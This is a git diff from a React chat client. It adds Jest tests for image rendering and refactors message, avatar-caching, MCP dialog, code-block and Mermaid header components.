b/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx new file mode 100644 index 0000000000..e7e0b99f1e --- /dev/null +++ b/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx @@ -0,0 +1,179 @@ +import React from 'react'; +import { render, screen, fireEvent } from '@testing-library/react'; +import Image, { _resetImageCaches } from '../Image'; + +jest.mock('~/utils', () => ({ + cn: (...classes: (string | boolean | undefined | null)[]) => + classes + .flat(Infinity) + .filter((c): c is string => typeof c === 'string' && c.length > 0) + .join(' '), +})); + +jest.mock('librechat-data-provider', () => ({ + apiBaseUrl: () => '', +})); + +jest.mock('@librechat/client', () => ({ + Skeleton: ({ className, ...props }: React.HTMLAttributes) => ( +
+ ), +})); + +jest.mock('../DialogImage', () => ({ + __esModule: true, + default: ({ isOpen, src }: { isOpen: boolean; src: string }) => + isOpen ?
: null, +})); + +describe('Image', () => { + const defaultProps = { + imagePath: '/images/test.png', + altText: 'Test image', + }; + + beforeEach(() => { + _resetImageCaches(); + jest.clearAllMocks(); + }); + + describe('rendering without dimensions', () => { + it('renders with max-h-[45vh] height constraint', () => { + render(); + const img = screen.getByRole('img'); + expect(img.className).toContain('max-h-[45vh]'); + }); + + it('renders with max-w-full to prevent landscape clipping', () => { + render(); + const img = screen.getByRole('img'); + expect(img.className).toContain('max-w-full'); + }); + + it('renders with w-auto and h-auto for natural aspect ratio', () => { + render(); + const img = screen.getByRole('img'); + expect(img.className).toContain('w-auto'); + expect(img.className).toContain('h-auto'); + }); + + it('does not show skeleton without dimensions', () => { + render(); + expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument(); + }); + + it('does not apply heightStyle without dimensions', () => { + render(); + const button = screen.getByRole('button'); + expect(button.style.height).toBeFalsy(); + }); + }); + + describe('rendering with dimensions', () => { + it('shows skeleton behind image', () => { + render(); + expect(screen.getByTestId('skeleton')).toBeInTheDocument(); + }); + + it('applies computed heightStyle to button', () => { + render(); + const button = screen.getByRole('button'); + expect(button.style.height).toBeTruthy(); + expect(button.style.height).toContain('min(45vh'); + }); + + it('uses size-full object-contain on image when dimensions provided', () => { + render(); + const img = screen.getByRole('img'); + expect(img.className).toContain('size-full'); + expect(img.className).toContain('object-contain'); + }); + + it('skeleton is absolute inset-0', () => { + render(); + const skeleton = screen.getByTestId('skeleton'); + expect(skeleton.className).toContain('absolute'); + expect(skeleton.className).toContain('inset-0'); + }); + + it('marks URL as painted on load and skips skeleton on rerender', () => { + const { rerender } = render(); + const img = screen.getByRole('img'); + + expect(screen.getByTestId('skeleton')).toBeInTheDocument(); + + fireEvent.load(img); + + // Rerender same component — skeleton should not show (URL painted) + rerender(); + expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument(); + }); + }); + + describe('common behavior', () => { + it('applies custom className to the button wrapper', () => { + render(); + const button = screen.getByRole('button'); + expect(button.className).toContain('mb-4'); + }); + + it('sets correct alt text', () => { + render(); + const img = screen.getByRole('img'); + expect(img).toHaveAttribute('alt', 'Test image'); + }); + + it('has correct accessibility attributes on button', () => { + render(); + const button = screen.getByRole('button'); + expect(button).toHaveAttribute('aria-label', 'View Test image in dialog'); + expect(button).toHaveAttribute('aria-haspopup', 'dialog'); + }); + }); + + describe('dialog interaction', () => { + it('opens dialog on button click', () => { + render(); + expect(screen.queryByTestId('dialog-image')).not.toBeInTheDocument(); + + const button = screen.getByRole('button'); + fireEvent.click(button); + + expect(screen.getByTestId('dialog-image')).toBeInTheDocument(); + }); + + it('dialog is always mounted (not gated by load state)', () => { + render(); + // DialogImage mock returns null when isOpen=false, but the component is in the tree + // Clicking should immediately show it + fireEvent.click(screen.getByRole('button')); + expect(screen.getByTestId('dialog-image')).toBeInTheDocument(); + }); + }); + + describe('image URL resolution', () => { + it('passes /images/ paths through with base URL', () => { + render(); + const img = screen.getByRole('img'); + expect(img).toHaveAttribute('src', '/images/test.png'); + }); + + it('passes absolute http URLs through unchanged', () => { + render(); + const img = screen.getByRole('img'); + expect(img).toHaveAttribute('src', 'https://example.com/photo.jpg'); + }); + + it('passes data URIs through unchanged', () => { + render(); + const img = screen.getByRole('img'); + expect(img).toHaveAttribute('src', 'data:image/png;base64,abc'); + }); + + it('passes non-/images/ paths through unchanged', () => { + render(); + const img = screen.getByRole('img'); + expect(img).toHaveAttribute('src', '/other/path.png'); + }); + }); +}); diff --git a/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx b/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx new file mode 100644 index 0000000000..ef8ac2807a --- /dev/null +++ b/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx @@ -0,0 +1,182 @@ +import React from 'react'; +import { render, screen } from '@testing-library/react'; +import OpenAIImageGen from '../Parts/OpenAIImageGen/OpenAIImageGen'; + +jest.mock('~/utils', () => ({ + cn: (...classes: (string | boolean | undefined | null)[]) => + classes + .flat(Infinity) + .filter((c): c is string => typeof c === 'string' && c.length > 0) + .join(' '), +})); + +jest.mock('~/hooks', () => ({ + useLocalize: () => (key: string) => key, +})); + +jest.mock('~/components/Chat/Messages/Content/Image', () => ({ + __esModule: true, + default: ({ + altText, + imagePath, + className, + }: { + altText: string; + imagePath: string; + className?: string; + }) => ( +
+ ), +})); + +jest.mock('@librechat/client', () => ({ + PixelCard: ({ progress }: { progress: number }) => ( +
+ ), +})); + +jest.mock('../Parts/OpenAIImageGen/ProgressText', () => ({ + __esModule: true, + default: ({ progress, error }: { progress: number; error: boolean }) => ( +
+ ), +})); + +describe('OpenAIImageGen', () => { + const defaultProps = { + initialProgress: 0.1, + isSubmitting: true, + toolName: 'image_gen_oai', + args: '{"prompt":"a cat","quality":"high","size":"1024x1024"}', + output: null as string | null, + attachments: undefined, + }; + + beforeEach(() => { + jest.clearAllMocks(); + jest.useFakeTimers(); + }); + + afterEach(() => { + jest.useRealTimers(); + }); + + describe('image preloading', () => { + it('keeps Image mounted during generation (progress < 1)', () => { + render(); + expect(screen.getByTestId('image-component')).toBeInTheDocument(); + }); + + it('hides Image with invisible absolute while progress < 1', () => { + render(); + const image = screen.getByTestId('image-component'); + expect(image.className).toContain('invisible'); + expect(image.className).toContain('absolute'); + }); + + it('shows Image without hiding classes when progress >= 1', () => { + render( + , + ); + const image = screen.getByTestId('image-component'); + expect(image.className).not.toContain('invisible'); + expect(image.className).not.toContain('absolute'); + }); + }); + + describe('PixelCard visibility', () => { + it('shows PixelCard when progress < 1', () => { + render(); + expect(screen.getByTestId('pixel-card')).toBeInTheDocument(); + }); + + it('hides PixelCard when progress >= 1', () => { + render(); + expect(screen.queryByTestId('pixel-card')).not.toBeInTheDocument(); + }); + }); + + describe('layout classes', () => { + it('applies max-h-[45vh] to the outer container', () => { + const { container } = render(); + const outerDiv = container.querySelector('[class*="max-h-"]'); + expect(outerDiv?.className).toContain('max-h-[45vh]'); + }); + + it('applies h-[45vh] w-full to inner container during loading', () => { + const { container } = render(); + const innerDiv = container.querySelector('[class*="h-[45vh]"]'); + expect(innerDiv).not.toBeNull(); + expect(innerDiv?.className).toContain('w-full'); + }); + + it('applies w-auto to inner container when complete', () => { + const { container } = render( + , + ); + const overflowDiv = container.querySelector('[class*="overflow-hidden"]'); + expect(overflowDiv?.className).toContain('w-auto'); + }); + }); + + describe('args parsing', () => { + it('parses quality from args', () => { + render(); + expect(screen.getByTestId('progress-text')).toBeInTheDocument(); + }); + + it('handles invalid JSON args gracefully', () => { + const consoleSpy = jest.spyOn(console, 'error').mockImplementation(); + render(); + expect(screen.getByTestId('image-component')).toBeInTheDocument(); + consoleSpy.mockRestore(); + }); + + it('handles object args', () => { + render( + , + ); + expect(screen.getByTestId('image-component')).toBeInTheDocument(); + }); + }); + + describe('cancellation', () => { + it('shows error state when output contains error', () => { + render( + , + ); + const progressText = screen.getByTestId('progress-text'); + expect(progressText).toHaveAttribute('data-error', 'true'); + }); + + it('shows cancelled state when not submitting and incomplete', () => { + render(); + const progressText = screen.getByTestId('progress-text'); + expect(progressText).toHaveAttribute('data-error', 'true'); + }); + }); +}); diff --git a/client/src/components/Chat/Messages/HoverButtons.tsx b/client/src/components/Chat/Messages/HoverButtons.tsx index 5d60223d08..180e8b599e 100644 --- a/client/src/components/Chat/Messages/HoverButtons.tsx +++ b/client/src/components/Chat/Messages/HoverButtons.tsx @@ -18,7 +18,7 @@ type THoverButtons = { message: TMessage; regenerate: () => void; handleContinue: (e: React.MouseEvent) => void; - latestMessage: TMessage | null; + latestMessageId?: string; isLast: boolean; index: number; handleFeedback?: ({ feedback }: { feedback: TFeedback | undefined }) => void; @@ -119,7 +119,7 @@ const HoverButtons = ({ message, regenerate, handleContinue, - latestMessage, + latestMessageId, isLast, handleFeedback, }: THoverButtons) => { @@ -143,7 +143,7 @@ const HoverButtons = ({ searchResult: message.searchResult, finish_reason: message.finish_reason, isCreatedByUser: message.isCreatedByUser, - latestMessageId: latestMessage?.messageId, + latestMessageId: latestMessageId, }); const { @@ -239,7 +239,7 @@ const HoverButtons = ({ messageId={message.messageId} conversationId={conversation.conversationId} forkingSupported={forkingSupported} - latestMessageId={latestMessage?.messageId} + latestMessageId={latestMessageId} isLast={isLast} /> diff --git a/client/src/components/Chat/Messages/Message.tsx b/client/src/components/Chat/Messages/Message.tsx index 78e08e3631..f9db38fdab 100644 --- a/client/src/components/Chat/Messages/Message.tsx +++ b/client/src/components/Chat/Messages/Message.tsx @@ -4,25 +4,23 @@ import type { TMessageProps } from '~/common'; import MessageRender from './ui/MessageRender'; import MultiMessage from './MultiMessage'; -const MessageContainer = React.memo( - ({ - handleScroll, - children, - }: { - handleScroll: (event?: unknown) => void; - children: React.ReactNode; - }) => { - return ( -
- {children} -
- ); - }, -); +const MessageContainer = React.memo(function MessageContainer({ + handleScroll, + children, +}: { + handleScroll: (event?: unknown) => void; + children: React.ReactNode; +}) { + return ( +
+ {children} +
+ ); +}); export default function Message(props: TMessageProps) { const { conversation, handleScroll } = useMessageProcess({ diff --git a/client/src/components/Chat/Messages/MessageParts.tsx b/client/src/components/Chat/Messages/MessageParts.tsx index 0005ee0499..7aa73a54e6 100644 --- a/client/src/components/Chat/Messages/MessageParts.tsx +++ b/client/src/components/Chat/Messages/MessageParts.tsx @@ -32,7 +32,7 @@ export default function Message(props: TMessageProps) { handleScroll, conversation, isSubmitting, - latestMessage, + latestMessageId, handleContinue, copyToClipboard, regenerateMessage, @@ -129,7 +129,7 @@ export default function Message(props: TMessageProps) { )}
-
+
} />
{isLast && isSubmitting ? ( -
+
) : ( regenerateMessage()} copyToClipboard={copyToClipboard} handleContinue={handleContinue} - latestMessage={latestMessage} + latestMessageId={latestMessageId} isLast={isLast} /> diff --git a/client/src/components/Chat/Messages/ui/MessageRender.tsx b/client/src/components/Chat/Messages/ui/MessageRender.tsx index 0d40b4a98f..e261a576bd 100644 --- a/client/src/components/Chat/Messages/ui/MessageRender.tsx +++ b/client/src/components/Chat/Messages/ui/MessageRender.tsx @@ -4,11 +4,11 @@ import { useRecoilValue } from 'recoil'; import { type TMessage } from 'librechat-data-provider'; import type { TMessageProps, TMessageIcon } from '~/common'; import MessageContent from '~/components/Chat/Messages/Content/MessageContent'; +import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks'; import PlaceholderRow from '~/components/Chat/Messages/ui/PlaceholderRow'; import SiblingSwitch from '~/components/Chat/Messages/SiblingSwitch'; import HoverButtons from '~/components/Chat/Messages/HoverButtons'; import MessageIcon from '~/components/Chat/Messages/MessageIcon'; -import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks'; import SubRow from '~/components/Chat/Messages/SubRow'; import { cn, getMessageAriaLabel } from '~/utils'; import { fontSizeAtom } from '~/store/fontSize'; @@ -23,180 +23,183 @@ type MessageRenderProps = { 'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount' >; -const MessageRender = memo( - ({ +const MessageRender = memo(function MessageRender({ + message: msg, + siblingIdx, + siblingCount, + setSiblingIdx, + currentEditId, + setCurrentEditId, + isSubmitting = false, +}: MessageRenderProps) { + const localize = useLocalize(); + const { + ask, + edit, + index, + agent, + assistant, + enterEdit, + conversation, + messageLabel, + handleFeedback, + handleContinue, + latestMessageId, + copyToClipboard, + regenerateMessage, + latestMessageDepth, + } = useMessageActions({ message: msg, - siblingIdx, - siblingCount, - setSiblingIdx, currentEditId, setCurrentEditId, - isSubmitting = false, - }: MessageRenderProps) => { - const localize = useLocalize(); - const { - ask, - edit, - index, - agent, - assistant, - enterEdit, - conversation, + }); + const fontSize = useAtomValue(fontSizeAtom); + const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace); + + const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]); + const hasNoChildren = !(msg?.children?.length ?? 0); + const isLast = useMemo( + () => hasNoChildren && (msg?.depth === latestMessageDepth || msg?.depth === -1), + [hasNoChildren, msg?.depth, latestMessageDepth], + ); + const isLatestMessage = msg?.messageId === latestMessageId; + /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */ + const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false; + + const iconData: TMessageIcon = useMemo( + () => ({ + endpoint: msg?.endpoint ?? conversation?.endpoint, + model: msg?.model ?? conversation?.model, + iconURL: msg?.iconURL, + modelLabel: messageLabel, + isCreatedByUser: msg?.isCreatedByUser, + }), + [ messageLabel, - latestMessage, - handleFeedback, - handleContinue, - copyToClipboard, - regenerateMessage, - } = useMessageActions({ - message: msg, - currentEditId, - setCurrentEditId, - }); - const fontSize = useAtomValue(fontSizeAtom); - const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace); + conversation?.endpoint, + conversation?.model, + msg?.model, + msg?.iconURL, + msg?.endpoint, + msg?.isCreatedByUser, + ], + ); - const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]); - const hasNoChildren = !(msg?.children?.length ?? 0); - const isLast = useMemo( - () => hasNoChildren && (msg?.depth === latestMessage?.depth || msg?.depth === -1), - [hasNoChildren, msg?.depth, latestMessage?.depth], - ); - const isLatestMessage = msg?.messageId === latestMessage?.messageId; - /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */ - const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false; + const { hasParallelContent } = useContentMetadata(msg); + const messageId = msg?.messageId ?? ''; + const messageContextValue = useMemo( + () => ({ + messageId, + isLatestMessage, + isExpanded: false as const, + isSubmitting: effectiveIsSubmitting, + conversationId: conversation?.conversationId, + }), + [messageId, conversation?.conversationId, effectiveIsSubmitting, isLatestMessage], + ); - const iconData: TMessageIcon = useMemo( - () => ({ - endpoint: msg?.endpoint ?? conversation?.endpoint, - model: msg?.model ?? conversation?.model, - iconURL: msg?.iconURL, - modelLabel: messageLabel, - isCreatedByUser: msg?.isCreatedByUser, - }), - [ - messageLabel, - conversation?.endpoint, - conversation?.model, - msg?.model, - msg?.iconURL, - msg?.endpoint, - msg?.isCreatedByUser, - ], - ); + if (!msg) { + return null; + } - const { hasParallelContent } = useContentMetadata(msg); - - if (!msg) { - return null; + const getChatWidthClass = () => { + if (maximizeChatSpace) { + return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5'; } + if (hasParallelContent) { + return 'md:max-w-[58rem] xl:max-w-[70rem]'; + } + return 'md:max-w-[47rem] xl:max-w-[55rem]'; + }; - const getChatWidthClass = () => { - if (maximizeChatSpace) { - return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5'; - } - if (hasParallelContent) { - return 'md:max-w-[58rem] xl:max-w-[70rem]'; - } - return 'md:max-w-[47rem] xl:max-w-[55rem]'; - }; + const baseClasses = { + common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ', + chat: getChatWidthClass(), + }; - const baseClasses = { - common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ', - chat: getChatWidthClass(), - }; + const conditionalClasses = { + focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy', + }; - const conditionalClasses = { - focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy', - }; + return ( +
+ {!hasParallelContent && ( +
+
+ +
+
+ )} - return (
{!hasParallelContent && ( -
-
- -
-
+

{messageLabel}

)} -
- {!hasParallelContent && ( -

{messageLabel}

- )} - -
-
- - ({}))} - /> - -
- {hasNoChildren && effectiveIsSubmitting ? ( - - ) : ( - - - - - )} +
+
+ + ({}))} + /> +
+ {hasNoChildren && effectiveIsSubmitting ? ( + + ) : ( + + + + + )}
- ); - }, -); +
+ ); +}); +MessageRender.displayName = 'MessageRender'; export default MessageRender; diff --git a/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx b/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx index d67424a46f..e60dc28278 100644 --- a/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx +++ b/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx @@ -1,7 +1,9 @@ import { memo } from 'react'; -const PlaceholderRow = memo(() => { - return
; +/** Height matches the SubRow action buttons row (31px) — keep in sync with HoverButtons */ +const PlaceholderRow = memo(function PlaceholderRow() { + return
; }); +PlaceholderRow.displayName = 'PlaceholderRow'; export default PlaceholderRow; diff --git a/client/src/components/Chat/TemporaryChat.tsx b/client/src/components/Chat/TemporaryChat.tsx index d09cc73289..a4d72d081e 100644 --- a/client/src/components/Chat/TemporaryChat.tsx +++ b/client/src/components/Chat/TemporaryChat.tsx @@ -1,8 +1,8 @@ import React from 'react'; +import { useRecoilValue } from 'recoil'; import { TooltipAnchor } from '@librechat/client'; import { MessageCircleDashed } from 'lucide-react'; import { useRecoilState, useRecoilCallback } from 'recoil'; -import { useChatContext } from '~/Providers'; import { useLocalize } from '~/hooks'; import { cn } from '~/utils'; import store from '~/store'; @@ -10,13 +10,8 @@ import store from '~/store'; export function TemporaryChat() { const localize = useLocalize(); const [isTemporary, setIsTemporary] = useRecoilState(store.isTemporary); - const { conversation, isSubmitting } = useChatContext(); - - const temporaryBadge = { - id: 'temporary', - atom: store.isTemporary, - isAvailable: true, - }; + const conversation = useRecoilValue(store.conversationByIndex(0)); + const isSubmitting = useRecoilValue(store.isSubmittingFamily(0)); const handleBadgeToggle = useRecoilCallback( () => () => { diff --git a/client/src/components/Conversations/Conversations.tsx b/client/src/components/Conversations/Conversations.tsx index fc66c0977a..c7eb4d53ef 100644 --- a/client/src/components/Conversations/Conversations.tsx +++ b/client/src/components/Conversations/Conversations.tsx @@ -384,6 +384,7 @@ const Conversations: FC = ({ onRowsRendered={handleRowsRendered} tabIndex={-1} style={{ outline: 'none', scrollbarGutter: 'stable' }} + containerRole="rowgroup" /> )} diff --git a/client/src/components/Endpoints/Icon.tsx b/client/src/components/Endpoints/Icon.tsx index 3256145bfb..fae0f286d3 100644 --- a/client/src/components/Endpoints/Icon.tsx +++ b/client/src/components/Endpoints/Icon.tsx @@ -1,64 +1,102 @@ -import React, { memo, useState } from 'react'; +import React, { memo } from 'react'; import { UserIcon, useAvatar } from '@librechat/client'; -import type { TUser } from 'librechat-data-provider'; import type { IconProps } from '~/common'; import MessageEndpointIcon from './MessageEndpointIcon'; import { useAuthContext } from '~/hooks/AuthContext'; import { useLocalize } from '~/hooks'; import { cn } from '~/utils'; +type ResolvedAvatar = { type: 'image'; src: string } | { type: 'fallback' }; + +/** + * Caches the resolved avatar decision per user ID. + * Invalidated when `user.avatar` changes (e.g., settings upload). + * Tracks failed image URLs so they fall back to SVG permanently for the session. + */ +const avatarCache = new Map< + string, + { avatar: string; avatarSrc: string; resolved: ResolvedAvatar } +>(); +const failedUrls = new Set(); + +function resolveAvatar(userId: string, userAvatar: string, avatarSrc: string): ResolvedAvatar { + if (!userId) { + const imgSrc = userAvatar || avatarSrc; + return imgSrc && !failedUrls.has(imgSrc) + ? { type: 'image', src: imgSrc } + : { type: 'fallback' }; + } + + const cached = avatarCache.get(userId); + if (cached && cached.avatar === userAvatar && cached.avatarSrc === avatarSrc) { + return cached.resolved; + } + + const imgSrc = userAvatar || avatarSrc; + const resolved: ResolvedAvatar = + imgSrc && !failedUrls.has(imgSrc) ? { type: 'image', src: imgSrc } : { type: 'fallback' }; + + avatarCache.set(userId, { avatar: userAvatar, avatarSrc, resolved }); + return resolved; +} + +function markAvatarFailed(userId: string, src: string): ResolvedAvatar { + failedUrls.add(src); + const fallback: ResolvedAvatar = { type: 'fallback' }; + const cached = avatarCache.get(userId); + if (cached) { + avatarCache.set(userId, { ...cached, resolved: fallback }); + } + return fallback; +} + type UserAvatarProps = { size: number; - user?: TUser; + avatar: string; avatarSrc: string; + userId: string; username: string; className?: string; }; -const UserAvatar = memo(({ size, user, avatarSrc, username, className }: UserAvatarProps) => { - const [imageError, setImageError] = useState(false); +const UserAvatar = memo( + ({ size, avatar, avatarSrc, userId, username, className }: UserAvatarProps) => { + const [resolved, setResolved] = React.useState(() => resolveAvatar(userId, avatar, avatarSrc)); - const handleImageError = () => { - setImageError(true); - }; + React.useEffect(() => { + setResolved(resolveAvatar(userId, avatar, avatarSrc)); + }, [userId, avatar, avatarSrc]); - const renderDefaultAvatar = () => ( -
- -
- ); - - return ( -
- {(!(user?.avatar ?? '') && (!(user?.username ?? '') || user?.username.trim() === '')) || - imageError ? ( - renderDefaultAvatar() - ) : ( - avatar - )} -
- ); -}); + return ( +
+ {resolved.type === 'image' ? ( + avatar setResolved(markAvatarFailed(userId, resolved.src))} + /> + ) : ( +
+ +
+ )} +
+ ); + }, +); UserAvatar.displayName = 'UserAvatar'; @@ -74,9 +112,10 @@ const Icon: React.FC = memo((props) => { return ( ); diff --git a/client/src/components/MCP/MCPConfigDialog.tsx b/client/src/components/MCP/MCPConfigDialog.tsx index a3727971e9..f1079c2799 100644 --- a/client/src/components/MCP/MCPConfigDialog.tsx +++ b/client/src/components/MCP/MCPConfigDialog.tsx @@ -24,6 +24,7 @@ interface MCPConfigDialogProps { serverName: string; serverStatus?: MCPServerStatus; conversationId?: string | null; + storageContextKey?: string; } export default function MCPConfigDialog({ @@ -36,6 +37,7 @@ export default function MCPConfigDialog({ serverName, serverStatus, conversationId, + storageContextKey, }: MCPConfigDialogProps) { const localize = useLocalize(); @@ -167,6 +169,7 @@ export default function MCPConfigDialog({ 0} /> diff --git a/client/src/components/MCP/MCPServerMenuItem.tsx b/client/src/components/MCP/MCPServerMenuItem.tsx index 2291a5233e..7fcb773bb9 100644 --- a/client/src/components/MCP/MCPServerMenuItem.tsx +++ b/client/src/components/MCP/MCPServerMenuItem.tsx @@ -46,7 +46,6 @@ export default function MCPServerMenuItem({ name="mcp-servers" value={server.serverName} checked={isSelected} - setValueOnChange={false} onChange={() => onToggle(server.serverName)} aria-label={accessibleLabel} className={cn( diff --git a/client/src/components/MCP/ServerInitializationSection.tsx b/client/src/components/MCP/ServerInitializationSection.tsx index b5f71335d7..c080866b3d 100644 --- a/client/src/components/MCP/ServerInitializationSection.tsx +++ b/client/src/components/MCP/ServerInitializationSection.tsx @@ -9,12 +9,14 @@ interface ServerInitializationSectionProps { requiresOAuth: boolean; hasCustomUserVars?: boolean; conversationId?: string | null; + storageContextKey?: string; } export default function ServerInitializationSection({ serverName, requiresOAuth, conversationId, + storageContextKey, sidePanel = false, hasCustomUserVars = false, }: ServerInitializationSectionProps) { @@ -28,7 +30,7 @@ export default function ServerInitializationSection({ initializeServer, availableMCPServers, revokeOAuthForServer, - } = useMCPServerManager({ conversationId }); + } = useMCPServerManager({ conversationId, storageContextKey }); const { connectionStatus } = useMCPConnectionStatus({ enabled: !!availableMCPServers && availableMCPServers.length > 0, diff --git a/client/src/components/Messages/Content/CodeBlock.tsx b/client/src/components/Messages/Content/CodeBlock.tsx index eae84e49a9..7407098c5e 100644 --- a/client/src/components/Messages/Content/CodeBlock.tsx +++ b/client/src/components/Messages/Content/CodeBlock.tsx @@ -23,125 +23,138 @@ interface FloatingCodeBarProps extends CodeBarProps { isVisible: boolean; } -const CodeBar: React.FC = React.memo( - ({ lang, error, codeRef, blockIndex, plugin = null, allowExecution = true }) => { - const localize = useLocalize(); - const [isCopied, setIsCopied] = useState(false); - return ( -
- {lang} - {plugin === true ? ( - - ) : ( -
- {allowExecution === true && ( - +const CodeBar: React.FC = React.memo(function CodeBar({ + lang, + error, + codeRef, + blockIndex, + plugin = null, + allowExecution = true, +}) { + const localize = useLocalize(); + const [isCopied, setIsCopied] = useState(false); + return ( +
+ {lang} + {plugin === true ? ( + + ) : ( +
+ {allowExecution === true && ( + + )} + -
- )} -
- ); - }, -); - -const FloatingCodeBar: React.FC = React.memo( - ({ lang, error, codeRef, blockIndex, plugin = null, allowExecution = true, isVisible }) => { - const localize = useLocalize(); - const [isCopied, setIsCopied] = useState(false); - const copyButtonRef = useRef(null); - - const handleCopy = useCallback(() => { - const codeString = codeRef.current?.textContent; - if (codeString != null) { - const wasFocused = document.activeElement === copyButtonRef.current; - setIsCopied(true); - copy(codeString.trim(), { format: 'text/plain' }); - if (wasFocused) { - requestAnimationFrame(() => { - copyButtonRef.current?.focus(); - }); - } - - setTimeout(() => { - const focusedElement = document.activeElement as HTMLElement | null; - setIsCopied(false); - requestAnimationFrame(() => { - focusedElement?.focus(); - }); - }, 3000); - } - }, [codeRef]); - - return ( -
- {plugin === true ? ( - - ) : ( - <> - {allowExecution === true && ( - - )} - - {isCopied ? ( -
- ); - }, -); + }} + > + {isCopied ? : } + {error !== true && ( + + {localize('com_ui_copy_code')} + + {isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')} + + + )} + +
+ )} +
+ ); +}); +CodeBar.displayName = 'CodeBar'; + +const FloatingCodeBar: React.FC = React.memo(function FloatingCodeBar({ + lang, + error, + codeRef, + blockIndex, + plugin = null, + allowExecution = true, + isVisible, +}) { + const localize = useLocalize(); + const [isCopied, setIsCopied] = useState(false); + const copyButtonRef = useRef(null); + + const handleCopy = useCallback(() => { + const codeString = codeRef.current?.textContent; + if (codeString != null) { + const wasFocused = document.activeElement === copyButtonRef.current; + setIsCopied(true); + copy(codeString.trim(), { format: 'text/plain' }); + if (wasFocused) { + requestAnimationFrame(() => { + copyButtonRef.current?.focus(); + }); + } + + setTimeout(() => { + const focusedElement = document.activeElement as HTMLElement | null; + setIsCopied(false); + requestAnimationFrame(() => { + focusedElement?.focus(); + }); + }, 3000); + } + }, [codeRef]); + + return ( +
+ {plugin === true ? ( + + ) : ( + <> + {allowExecution === true && ( + + )} + + {isCopied ? ( +
+ ); +}); +FloatingCodeBar.displayName = 'FloatingCodeBar'; const CodeBlock: React.FC = ({ lang, diff --git a/client/src/components/Messages/Content/Mermaid.tsx b/client/src/components/Messages/Content/Mermaid.tsx index 9d830b3fdc..03037f4427 100644 --- a/client/src/components/Messages/Content/Mermaid.tsx +++ b/client/src/components/Messages/Content/Mermaid.tsx @@ -12,6 +12,7 @@ import { OGDialogContent, } from '@librechat/client'; import { useLocalize, useDebouncedMermaid } from '~/hooks'; +import { fixSubgraphTitleContrast } from '~/utils/mermaid'; import MermaidHeader from './MermaidHeader'; import cn from '~/utils/cn'; @@ -181,6 +182,8 @@ const Mermaid: React.FC = memo(({ children, id, theme }) => { svgElement.setAttribute('xmlns', 'http://www.w3.org/2000/svg'); } + fixSubgraphTitleContrast(svgElement); + return { processedSvg: new XMLSerializer().serializeToString(doc), parsedDimensions: dimensions, @@ -672,7 +675,7 @@ const Mermaid: React.FC = memo(({ children, id, theme }) => { className={cn( 'relative overflow-hidden p-4 transition-colors duration-200', 'rounded-md', - showControls ? 'bg-surface-primary-alt' : 'bg-transparent', + showControls ? 'bg-surface-primary-alt dark:bg-white/[0.03]' : 'bg-transparent', isPanning ? 'cursor-grabbing' : 'cursor-grab', )} style={{ height: `${calculatedHeight}px` }} @@ -811,7 +814,7 @@ const Mermaid: React.FC = memo(({ children, id, theme }) => { className={cn( 'relative overflow-hidden p-4 transition-colors duration-200', 'rounded-md', - showControls ? 'bg-surface-primary-alt' : 'bg-transparent', + showControls ? 'bg-surface-primary-alt dark:bg-white/[0.03]' : 'bg-transparent', isPanning ? 'cursor-grabbing' : 'cursor-grab', )} style={{ height: `${calculatedHeight}px` }} diff --git a/client/src/components/Messages/Content/MermaidHeader.tsx b/client/src/components/Messages/Content/MermaidHeader.tsx index 03b49b6558..2d3a416a5a 100644 --- a/client/src/components/Messages/Content/MermaidHeader.tsx +++ b/client/src/components/Messages/Content/MermaidHeader.tsx @@ -1,7 +1,7 @@ import React, { memo, useState, useCallback, useRef } from 'react'; import copy from 'copy-to-clipboard'; import { Expand, ChevronUp, ChevronDown } from 'lucide-react'; -import { Button, Clipboard, CheckMark } from '@librechat/client'; +import { Clipboard, CheckMark, TooltipAnchor } from '@librechat/client'; import { useLocalize } from '~/hooks'; import cn from '~/utils/cn'; @@ -15,8 +15,8 @@ interface MermaidHeaderProps { onToggleCode: () => void; } -const buttonClasses = - 'h-auto gap-1 rounded-sm px-1 py-0 text-xs text-gray-200 hover:bg-gray-600 hover:text-white focus-visible:ring-white focus-visible:ring-offset-0'; +const iconBtnClass = + 'flex items-center justify-center rounded p-1.5 text-text-secondary hover:bg-surface-hover focus-visible:outline focus-visible:outline-white'; const MermaidHeader: React.FC = memo( ({ @@ -49,46 +49,58 @@ const MermaidHeader: React.FC = memo( return (
- {localize('com_ui_mermaid')} -
- {showExpandButton && onExpand && ( - + } + /> + )} + - - {localize('com_ui_expand')} - - )} - - -
+ {showCode ? : } + + } + /> + + {isCopied ? ( + + ) : ( + + )} + + } + />
